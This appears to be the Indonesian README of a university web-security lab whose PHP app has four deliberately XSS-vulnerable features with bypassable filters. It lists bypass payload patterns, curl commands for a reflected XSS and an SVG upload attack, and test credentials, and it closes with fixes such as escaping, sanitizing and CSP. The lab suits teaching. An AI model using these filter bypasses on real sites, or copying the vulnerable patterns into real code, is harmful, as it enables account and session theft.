Tugas Kuliah Keamanan Web · dibuat oleh kikikokok
PHP 8 + MariaDB · OWASP Top 10 — A03 Injection (XSS)
Lab keenam seri LAB-RED Team (setelah lab-bac, lab-bac2, lab-bac3, lab-ssrf, lab-atox, lab-xssredir). Tema: KostHub (komunitas kos). Empat fitur disengaja rawan XSS, masing-masing dengan "WAF" mini yang bisa di-bypass memakai payload alternatif (CWE-79).
| # | Fitur | Jenis XSS | WAF (yang bisa di-bypass) |
|---|---|---|---|
| 1 | cari.php?q= | Reflected | strip <script> (case-insensitive) |
| 2 | detail.php?id= — kolom komentar | Stored | strip <script> + onerror= |
| 3 | profil.php?u= — bio | Stored | strip <script> + onerror/onload/onclick |
| 4 | upload.php — avatar SVG | Stored (file) | hanya ekstensi .svg + larangan <script> |
Di folder payloads/ setiap fitur menyimpan 6 varian payload bypass:
pola yang dipakai antara lain <img onerror>, <svg/onload>, <a href=javascript:>,
nested <scr<script>ipt>, <marquee onstart>, <iframe srcdoc>, dan untuk SVG:
onload, onbegin, onclick, href=javascript:.
./jalankan.sh # DB + server :8098 (folder uploads/ dibuat)
./jalankan.sh stop # matikan
# buka http://127.0.0.1:8098| Username | Password | Role |
|---|---|---|
admin |
admin123 |
admin |
budi |
budi123 |
penghuni |
sari |
sari123 |
penghuni |
riko |
riko123 |
penghuni |
./jalankan.sh
bash tools/uji_xss.sh # 21 cek: payload LULUS/DITOLAK per fiturContoh manual — T1 (reflected) & T4 (SVG):
B=http://127.0.0.1:8098
# T1 — <script> diblokir, tapi <img onerror> / <svg onload> / nested lolos
Q=$(python3 -c "import urllib.parse;print(urllib.parse.quote(open('payloads/xss-cari/02-img-onerror.txt').read()))")
curl -s "$B/cari.php?q=$Q" | grep onerror # dirender mentah -> XSS
# T4 — upload SVG onload, lalu buka langsung (same-origin -> script jalan)
J=$(mktemp)
curl -s -o /dev/null -c $J -b $J --data-urlencode 'username=budi' --data-urlencode 'password=budi123' $B/masuk.php
curl -s -b $J -F 'avatar=@payloads/xss-svg/02-onload.svg;type=image/svg+xml' $B/upload.php
curl -s -b $J $B/uploads/avatar_2.svg # konten utuh -> XSS saat dieksekusilab-xss/
├── assets/ # style.css (watermark kikikokok)
├── database/lab_xss.sql
├── includes/ # koneksi.php (sesi + filter_cari/komentar/bio)
├── payloads/
│ ├── xss-cari/ # T1 · 6 varian reflected
│ ├── xss-komentar/ # T2 · 6 varian stored
│ ├── xss-bio/ # T3 · 6 varian stored
│ └── xss-svg/ # T4 · 5 file SVG (script/onload/foreignObject/href/onbegin)
├── tools/uji_xss.sh # QA otomatis 4 tipe
├── cari.php # T1
├── detail.php # T2 (komentar)
├── profil.php # T3 (bio) + tampilan avatar
├── upload.php # T4 (upload SVG)
└── jalankan.sh
- Escape output konteks-aware (HTML, atribut, JS) di cari/kata-komentar/bio.
- Upload: whitelist SVG? Jangan serve SVG mentah — tarik ulang & sanitize
(SVG sanitizer), sajikan sebagai
<img>+Content-Disposition: attachmentbila perlu, dan nonaktifkan<script>viasandbox. - CSP
default-src 'self'+ keluarkanunsafe-inline— blocker kuat untuk event-handler XSS. - Pelajaran BBP: satu filter string hampir selalu bisa dilewati — jangan jadikan semua harapanmu di situ.